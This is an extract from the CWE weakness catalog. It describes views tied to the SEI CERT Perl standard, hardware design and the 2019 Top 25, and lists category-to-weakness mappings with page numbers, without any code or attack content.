[REF-598]The Software Engineering Institute. "SEI CERT C Coding Standard". < https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	78	out of	875
Categories	17	out of	312
Views	0	out of	39
Total	95	out of	1226

View-1178: Weaknesses Addressed by the SEI CERT Perl Coding Standard

View ID : 1178 **Status:** Stable
Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Perl Coding Standard.

Audience

Software Developers

By following the SEI CERT Perl Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the SEI CERT Perl Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Membership

Nature	Type	ID	Name	Page
HasMember	C	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	2004
HasMember	C	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	2004
HasMember	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	2005
HasMember	C	1182	SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT)	2005
HasMember	C	1183	SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR)	2006
HasMember	C	1184	SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)	2006
HasMember	C	1185	SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)	2006
HasMember	C	1186	SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)	2007

Notes

Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

References

[REF-1011]The Software Engineering Institute. "SEI CERT Perl Coding Standard". < https://wiki.sei.cmu.edu/confluence/display/perl/SEI+CERT+Perl+Coding+Standard >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	0	out of	875
Categories	8	out of	312
Views	0	out of	39
Total	8	out of	1226

View-1194: Hardware Design

View ID : 1194 **Status:** Incomplete
Type : Graph

Objective

This view organizes weaknesses around concepts that are frequently used or encountered in hardware design. Accordingly, this view can align closely with the perspectives of designers, manufacturers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

Audience

Hardware Designers

Hardware Designers use this view to better understand potential mistakes that can be made in specific areas of their IP design. The use of concepts with which hardware designers are familiar makes it easier to navigate.

Educators

Educators use this view to teach future professionals about the types of mistakes that are commonly made in hardware design.

Membership

Nature	Type	ID	Name	Page
HasMember	C	1195	Manufacturing and Life Cycle Management Concerns	2007
HasMember	C	1196	Security Flow Issues	2008
HasMember	C	1197	Integration Issues	2008
HasMember	C	1198	Privilege Separation and Access Control Issues	2008
HasMember	C	1199	General Circuit and Logic Design Concerns	2009
HasMember	C	1201	Core and Compute Issues	2010
HasMember	C	1202	Memory and Storage Issues	2010
HasMember	C	1203	Peripherals, On-chip Fabric, and Interface/IO Problems	2010
HasMember	C	1205	Security Primitives and Cryptography Issues	2011
HasMember	C	1206	Power, Clock, and Reset Concerns	2011
HasMember	C	1207	Debug and Test Problems	2011
HasMember	C	1208	Cross-Cutting Problems	2012

Notes

Other

The top level categories in this view represent commonly understood areas/terms within hardware design, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	59	out of	875
Categories	12	out of	312
Views	0	out of	39
Total	71	out of	1226

View-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors

View ID : 1200 **Status:** Stable
Type : Graph

Objective

CWE entries in this view are listed in the 2019 CWE Top 25 Most Dangerous Software Errors.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Membership

Nature	Type	ID	Name	Page
HasMember	C	20	Improper Input Validation	19
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	141
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	204

Nature	Type	ID	Name	Page
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
HasMember	B	125	Out-of-bounds Read	302
HasMember	B	190	Integer Overflow or Wraparound	437
HasMember	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
HasMember	C	269	Improper Privilege Management	589
HasMember	C	287	Improper Authentication	630
HasMember	B	295	Improper Certificate Validation	648
HasMember	B	352	Cross-Site Request Forgery (CSRF)	773
HasMember	C	400	Uncontrolled Resource Consumption	864
HasMember	V	416	Use After Free	904
HasMember	B	426	Untrusted Search Path	917
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	935
HasMember	B	476	NULL Pointer Dereference	1009
HasMember	B	502	Deserialization of Untrusted Data	1072
HasMember	B	611	Improper Restriction of XML External Entity Reference	1215
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1367
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1432
HasMember	B	787	Out-of-bounds Write	1463
HasMember	B	798	Use of Hard-coded Credentials	1486

References

[REF-1028]"2019 CWE Top 25 Most Dangerous Software Errors". 2019 September 6. < http://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html >.

Metrics

	CWEs in this view		Total CWEs
Weaknesses	25	out of	875
Categories	0	out of	312
Views	0	out of	39
Total	25	out of	1226

View-2000: Comprehensive CWE Dictionary

View ID : 2000 **Status:** Draft
Type : Implicit

Objective

This view (slice) covers all the elements in CWE.

Filter

/Weakness_Catalog/*[not(self::External_References)]/*

Membership

Nature	Type	ID	Name	Page
HasMember	V	2000	Comprehensive CWE Dictionary	2058

Metrics

	CWEs in this view		Total CWEs
Weaknesses	875	out of	875
Categories	312	out of	312
Views	39	out of	39

	CWEs in this view		Total CWEs
Total	1226	out of	1226

Graph View: CWE-629: Weaknesses in OWASP Top Ten (2007)

- CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS) *(p.1870)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws *(p.1871)*
  - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
  - CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*
  - CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
  - CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') *(p.202)*
- CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution *(p.1871)*
  - CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p.217)*
- CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference *(p.1871)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
- CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF) *(p.1872)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
- CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling *(p.1872)*
  - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor *(p.466)*
  - CWE-203: Observable Discrepancy *(p.478)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-215: Insertion of Sensitive Information Into Debugging Code *(p.507)*
- CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management *(p.1873)*
  - CWE-287: Improper Authentication *(p.630)*
  - CWE-301: Reflection Attack in an Authentication Protocol *(p.666)*
  - CWE-522: Insufficiently Protected Credentials *(p.1091)*
- CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage *(p.1873)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
- CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications *(p.1873)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
- CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access *(p.1874)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*

Graph View: CWE-631: DEPRECATED: Resource-specific Weaknesses

Graph View: CWE-699: Software Development

- CWE-1228: API / Function Errors *(p.2019)*
  - CWE-242: Use of Inherently Dangerous Function *(p.536)*
  - CWE-474: Use of Function with Inconsistent Implementations *(p.1006)*
  - CWE-475: Undefined Behavior for Input to API *(p.1008)*
  - CWE-477: Use of Obsolete Function *(p.1015)*
  - CWE-676: Use of Potentially Dangerous Function *(p.1317)*
  - CWE-695: Use of Low-Level Functionality *(p.1347)*
  - CWE-749: Exposed Dangerous Method or Function *(p.1377)*
- CWE-1210: Audit / Logging Errors *(p.2012)*
  - CWE-117: Improper Output Neutralization for Logs *(p.266)*
  - CWE-222: Truncation of Security-relevant Information *(p.512)*
  - CWE-223: Omission of Security-relevant Information *(p.513)*
  - CWE-224: Obscured Security-relevant Information by Alternate Name *(p.515)*
  - CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
  - CWE-778: Insufficient Logging *(p.1444)*
  - CWE-779: Logging of Excessive Data *(p.1446)*
- CWE-1211: Authentication Errors *(p.2013)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-290: Authentication Bypass by Spoofing *(p.640)*
  - CWE-294: Authentication Bypass by Capture-replay *(p.647)*
  - CWE-295: Improper Certificate Validation *(p.648)*
  - CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
  - CWE-299: Improper Check for Certificate Revocation *(p.661)*
  - CWE-303: Incorrect Implementation of Authentication Algorithm *(p.670)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-305: Authentication Bypass by Primary Weakness *(p.673)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-308: Use of Single-factor Authentication *(p.682)*
  - CWE-309: Use of Password System for Primary Authentication *(p.684)*
  - CWE-322: Key Exchange without Entity Authentication *(p.711)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
  - CWE-645: Overly Restrictive Account Lockout Mechanism *(p.1267)*
  - CWE-804: Guessable CAPTCHA *(p.1495)*
  - CWE-836: Use of Password Hash Instead of Password for Authentication *(p.1549)*
- CWE-1212: Authorization Errors *(p.2013)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
  - CWE-612: Improper Authorization of Index Containing Sensitive Information *(p.1217)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-939: Improper Authorization in Handler for Custom URL Scheme *(p.1614)*
  - CWE-842: Placement of User into Incorrect Group *(p.1562)*
  - CWE-1220: Insufficient Granularity of Access Control *(p.1735)*
- CWE-1006: Bad Coding Practices *(p.1961)*
  - CWE-478: Missing Default Case in Switch Statement *(p.1018)*
  - CWE-487: Reliance on Package-level Scope *(p.1038)*
  - CWE-489: Active Debug Code *(p.1042)*
  - CWE-546: Suspicious Comment *(p.1118)*
  - CWE-547: Use of Hard-coded, Security-relevant Constants *(p.1120)*
  - CWE-561: Dead Code *(p.1133)*
  - CWE-562: Return of Stack Variable Address *(p.1136)*
  - CWE-563: Assignment to Variable without Use *(p.1137)*
  - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*

- CWE-586: Explicit Call to Finalize() *(p.1174)*
- CWE-605: Multiple Binds to the Same Port *(p.1205)*
- CWE-621: Variable Extraction Error *(p.1231)*
- CWE-627: Dynamic Variable Evaluation *(p.1241)*
- CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
- CWE-694: Use of Multiple Resources with Duplicate Identifier *(p.1346)*
- CWE-1041: Use of Redundant Code *(p.1643)*
- CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements *(p.1645)*
- CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range *(p.1646)*
- CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor *(p.1647)*
- CWE-1046: Creation of Immutable Text Using String Concatenation *(p.1648)*
- CWE-1048: Invokable Control Element with Large Number of Outward Calls *(p.1650)*
- CWE-1049: Excessive Data Query Operations in a Large Data Table *(p.1651)*
- CWE-1050: Excessive Platform Resource Consumption within a Loop *(p.1652)*
- CWE-1063: Creation of Class Instance within a Static Code Block *(p.1665)*
- CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers *(p.1667)*
- CWE-1066: Missing Serialization Control Element *(p.1668)*
- CWE-1067: Excessive Execution of Sequential Searches of Data Resource *(p.1669)*
- CWE-1070: Serializable Data Element Containing non-Serializable Item Elements *(p.1671)*
- CWE-1071: Empty Code Block *(p.1672)*
- CWE-1072: Data Resource Access without Use of Connection Pooling *(p.1673)*
- CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses *(p.1674)*
- CWE-1079: Parent Class without Virtual Destructor Method *(p.1680)*
- CWE-1082: Class Instance Self Destruction Control Element *(p.1682)*
- CWE-1084: Invokable Control Element with Excessive File or Data Access Operations *(p.1684)*
- CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code *(p.1685)*
- CWE-1087: Class with Virtual Method without a Virtual Destructor *(p.1687)*
- CWE-1089: Large Data Table with Excessive Number of Indices *(p.1689)*
- CWE-1091: Use of Object without Invoking Destructor Method *(p.1691)*
- CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers *(p.1692)*
- CWE-1094: Excessive Index Range Scan for a Data Resource *(p.1694)*
- CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element *(p.1697)*
- CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element *(p.1698)*
- CWE-1099: Inconsistent Naming Conventions for Identifiers *(p.1699)*
- CWE-1101: Reliance on Runtime Component in Generated Code *(p.1700)*
- CWE-1102: Reliance on Machine-Dependent Data Representation *(p.1701)*
- CWE-1103: Use of Platform-Dependent Third Party Components *(p.1702)*
- CWE-1104: Use of Unmaintained Third Party Components *(p.1703)*
- CWE-1106: Insufficient Use of Symbolic Constants *(p.1704)*
- CWE-1107: Insufficient Isolation of Symbolic Constant Definitions *(p.1705)*
- CWE-1108: Excessive Reliance on Global Variables *(p.1706)*
- CWE-1109: Use of Same Variable for Multiple Purposes *(p.1707)*
- CWE-1113: Inappropriate Comment Style *(p.1709)*
- CWE-1114: Inappropriate Whitespace Style *(p.1710)*
- CWE-1115: Source Code Element without Standard Prologue *(p.1711)*
- CWE-1116: Inaccurate Comments *(p.1712)*
- CWE-1117: Callable with Insufficient Behavioral Summary *(p.1712)*
- CWE-1126: Declaration of Variable with Unnecessarily Wide Scope *(p.1720)*
- CWE-1127: Compilation with Insufficient Warnings or Errors *(p.1720)*
- CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations *(p.1754)*

- CWE-438: Behavioral Problems *(p.1867)*
  - CWE-115: Misinterpretation of Input *(p.259)*
  - CWE-179: Incorrect Behavior Order: Early Validation *(p.414)*
  - CWE-408: Incorrect Behavior Order: Early Amplification *(p.888)*
  - CWE-437: Incomplete Model of Endpoint Features *(p.946)*
  - CWE-439: Behavioral Change in New Version or Environment *(p.947)*
  - CWE-440: Expected Behavior Violation *(p.949)*
  - CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') *(p.952)*
  - CWE-480: Use of Incorrect Operator *(p.1023)*
  - CWE-483: Incorrect Block Delimitation *(p.1032)*
  - CWE-484: Omitted Break Statement in Switch *(p.1034)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
  - CWE-698: Execution After Redirect (EAR) *(p.1353)*
  - CWE-733: Compiler Optimization Removal or Modification of Security-critical Code *(p.1375)*
  - CWE-783: Operator Precedence Logic Error *(p.1453)*
  - CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') *(p.1546)*
  - CWE-837: Improper Enforcement of a Single, Unique Action *(p.1550)*
  - CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*
  - CWE-1025: Comparison Using Wrong Factors *(p.1638)*
  - CWE-1037: Processor Optimization Removal or Modification of Security-critical Code *(p.1639)*
- CWE-840: Business Logic Errors *(p.1900)*
  - CWE-283: Unverified Ownership *(p.618)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
  - CWE-708: Incorrect Ownership Assignment *(p.1363)*
  - CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
  - CWE-826: Premature Release of Resource During Expected Lifetime *(p.1525)*
  - CWE-837: Improper Enforcement of a Single, Unique Action *(p.1550)*
  - CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*
- CWE-417: Communication Channel Errors *(p.1865)*
  - CWE-322: Key Exchange without Entity Authentication *(p.711)*
  - CWE-346: Origin Validation Error *(p.760)*
  - CWE-385: Covert Timing Channel *(p.842)*
  - CWE-419: Unprotected Primary Channel *(p.908)*
  - CWE-420: Unprotected Alternate Channel *(p.909)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-515: Covert Storage Channel *(p.1087)*
  - CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p.1606)*
  - CWE-940: Improper Verification of Source of a Communication Channel *(p.1617)*
  - CWE-941: Incorrectly Specified Destination in a Communication Channel *(p.1619)*
- CWE-1226: Complexity Issues *(p.2018)*
  - CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements *(p.1645)*
  - CWE-1047: Modules with Circular Dependencies *(p.1649)*
  - CWE-1055: Multiple Inheritance from Concrete Classes *(p.1657)*
  - CWE-1056: Invokable Control Element with Variadic Parameters *(p.1658)*
  - CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses *(p.1662)*
  - CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters *(p.1666)*
  - CWE-1074: Class with Excessively Deep Inheritance *(p.1675)*
  - CWE-1075: Unconditional Control Flow Transfer outside of Switch Block *(p.1676)*
  - CWE-1080: Source Code File with Excessive Number of Lines of Code *(p.1681)*
  - CWE-1086: Class with Excessive Number of Child Classes *(p.1686)*

- CWE-1095: Loop Condition Value Update within the Loop *(p.1695)*
- CWE-1119: Excessive Use of Unconditional Branching *(p.1714)*
- CWE-1121: Excessive McCabe Cyclomatic Complexity *(p.1716)*
- CWE-1122: Excessive Halstead Complexity *(p.1717)*
- CWE-1123: Excessive Use of Self-Modifying Code *(p.1717)*
- CWE-1124: Excessively Deep Nesting *(p.1718)*
- CWE-1125: Excessive Attack Surface *(p.1719)*

C CWE-557: Concurrency Issues *(p.1869)*
- CWE-363: Race Condition Enabling Link Following *(p.801)*
- CWE-364: Signal Handler Race Condition *(p.802)*
- CWE-365: Race Condition in Switch *(p.807)*
- CWE-366: Race Condition within a Thread *(p.809)*
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
- CWE-368: Context Switching Race Condition *(p.816)*
- CWE-386: Symbolic Name not Mapping to Correct Object *(p.844)*
- CWE-421: Race Condition During Access to Alternate Channel *(p.911)*
- CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
- CWE-585: Empty Synchronized Block *(p.1172)*
- CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p.1290)*
- CWE-820: Missing Synchronization *(p.1512)*
- CWE-821: Incorrect Synchronization *(p.1514)*
- CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element *(p.1660)*
- CWE-1088: Synchronous Access of Remote Resource without Timeout *(p.1688)*

C CWE-255: Credentials Management Errors *(p.1855)*
- CWE-256: Unprotected Storage of Credentials *(p.562)*
- CWE-257: Storing Passwords in a Recoverable Format *(p.564)*
- CWE-260: Password in Configuration File *(p.573)*
- CWE-261: Weak Encoding for Password *(p.575)*
- CWE-262: Not Using Password Aging *(p.577)*
- CWE-263: Password Aging with Long Expiration *(p.579)*
- CWE-324: Use of a Key Past its Expiration Date *(p.715)*
- CWE-521: Weak Password Requirements *(p.1089)*
- CWE-523: Unprotected Transport of Credentials *(p.1095)*
- CWE-549: Missing Password Field Masking *(p.1122)*
- CWE-620: Unverified Password Change *(p.1229)*
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*
- CWE-916: Use of Password Hash With Insufficient Computational Effort *(p.1594)*

C CWE-310: Cryptographic Issues *(p.1858)*
- CWE-261: Weak Encoding for Password *(p.575)*
- CWE-324: Use of a Key Past its Expiration Date *(p.715)*
- CWE-325: Missing Required Cryptographic Step *(p.717)*
- CWE-328: Reversible One-Way Hash *(p.726)*
- CWE-331: Insufficient Entropy *(p.736)*
- CWE-334: Small Space of Random Values *(p.742)*
- CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
- CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
- CWE-916: Use of Password Hash With Insufficient Computational Effort *(p.1594)*
- CWE-1240: Use of a Risky Cryptographic Primitive *(p.1759)*

C CWE-1214: Data Integrity Issues *(p.2014)*
- CWE-322: Key Exchange without Entity Authentication *(p.711)*
- CWE-346: Origin Validation Error *(p.760)*

- CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
- CWE-348: Use of Less Trusted Source *(p.765)*
- CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
- CWE-351: Insufficient Type Distinction *(p.772)*
- CWE-353: Missing Support for Integrity Check *(p.780)*
- CWE-354: Improper Validation of Integrity Check Value *(p.782)*
- CWE-494: Download of Code Without Integrity Check *(p.1055)*
- CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
- CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p.1273)*
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere *(p.1532)*
- CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p.1606)*

CWE-19: Data Processing Errors *(p.1849)*

- CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*
- CWE-166: Improper Handling of Missing Special Element *(p.390)*
- CWE-167: Improper Handling of Additional Special Element *(p.392)*
- CWE-168: Improper Handling of Inconsistent Special Elements *(p.394)*
- CWE-178: Improper Handling of Case Sensitivity *(p.411)*
- CWE-182: Collapse of Data into Unsafe Value *(p.422)*
- CWE-186: Overly Restrictive Regular Expression *(p.431)*
- CWE-229: Improper Handling of Values *(p.521)*
- CWE-233: Improper Handling of Parameters *(p.525)*
- CWE-237: Improper Handling of Structural Elements *(p.531)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*
- CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p.890)*
- CWE-471: Modification of Assumed-Immutable Data (MAID) *(p.999)*
- CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
- CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
- CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
- CWE-624: Executable Regular Expression Error *(p.1236)*
- CWE-625: Permissive Regular Expression *(p.1237)*
- CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p.1440)*
- CWE-1024: Comparison of Incompatible Types *(p.1637)*

CWE-137: Data Neutralization Issues *(p.1851)*

- CWE-76: Improper Neutralization of Equivalent Special Elements *(p.135)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*
- CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
- CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') *(p.202)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
- CWE-117: Improper Output Neutralization for Logs *(p.266)*
- CWE-140: Improper Neutralization of Delimiters *(p.345)*
- CWE-170: Improper Null Termination *(p.395)*
- CWE-188: Reliance on Data/Memory Layout *(p.435)*
- CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*

- CWE-463: Deletion of Data Structure Sentinel *(p.984)*
- CWE-464: Addition of Data Structure Sentinel *(p.986)*
- CWE-641: Improper Restriction of Names for Files and Other Resources *(p.1256)*
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*
- CWE-791: Incomplete Filtering of Special Elements *(p.1478)*
- CWE-795: Only Filtering Special Elements at a Specified Location *(p.1483)*
- CWE-838: Inappropriate Encoding for Output Context *(p.1551)*
- CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') *(p.1598)*
- CWE-1236: Improper Neutralization of Formula Elements in a CSV File *(p.1756)*

CWE-1225: Documentation Issues *(p.2017)*
- CWE-1053: Missing Documentation for Design *(p.1655)*
- CWE-1068: Inconsistency Between Implementation and Documented Design *(p.1670)*
- CWE-1110: Incomplete Design Documentation *(p.1707)*
- CWE-1111: Incomplete I/O Documentation *(p.1708)*
- CWE-1112: Incomplete Documentation of Program Execution *(p.1709)*
- CWE-1118: Insufficient Documentation of Error Handling Techniques *(p.1713)*

CWE-1219: File Handling Issues *(p.2017)*
- CWE-23: Relative Path Traversal *(p.42)*
- CWE-36: Absolute Path Traversal *(p.69)*
- CWE-41: Improper Resolution of Path Equivalence *(p.81)*
- CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
- CWE-66: Improper Handling of File Names that Identify Virtual Resources *(p.118)*
- CWE-378: Creation of Temporary File With Insecure Permissions *(p.832)*
- CWE-379: Creation of Temporary File in Directory with Insecure Permissions *(p.834)*
- CWE-426: Untrusted Search Path *(p.917)*
- CWE-427: Uncontrolled Search Path Element *(p.922)*
- CWE-428: Unquoted Search Path or Element *(p.927)*

CWE-1227: Encapsulation Issues *(p.2018)*
- CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer *(p.1656)*
- CWE-1057: Data Access Operations Outside of Expected Data Manager Component *(p.1659)*
- CWE-1062: Parent Class with References to Child Class *(p.1664)*
- CWE-1083: Data Access from Outside Expected Data Manager Component *(p.1683)*
- CWE-1090: Method Containing Access of a Member Element from Another Class *(p.1690)*
- CWE-1100: Insufficient Isolation of System-Dependent Functions *(p.1699)*
- CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality *(p.1703)*

CWE-389: Error Conditions, Return Values, Status Codes *(p.1863)*
- CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
- CWE-248: Uncaught Exception *(p.545)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-253: Incorrect Check of Function Return Value *(p.560)*
- CWE-390: Detection of Error Condition Without Action *(p.845)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-392: Missing Report of Error Condition *(p.853)*
- CWE-393: Return of Wrong Status Code *(p.854)*
- CWE-394: Unexpected Status Code or Return Value *(p.856)*
- CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p.857)*
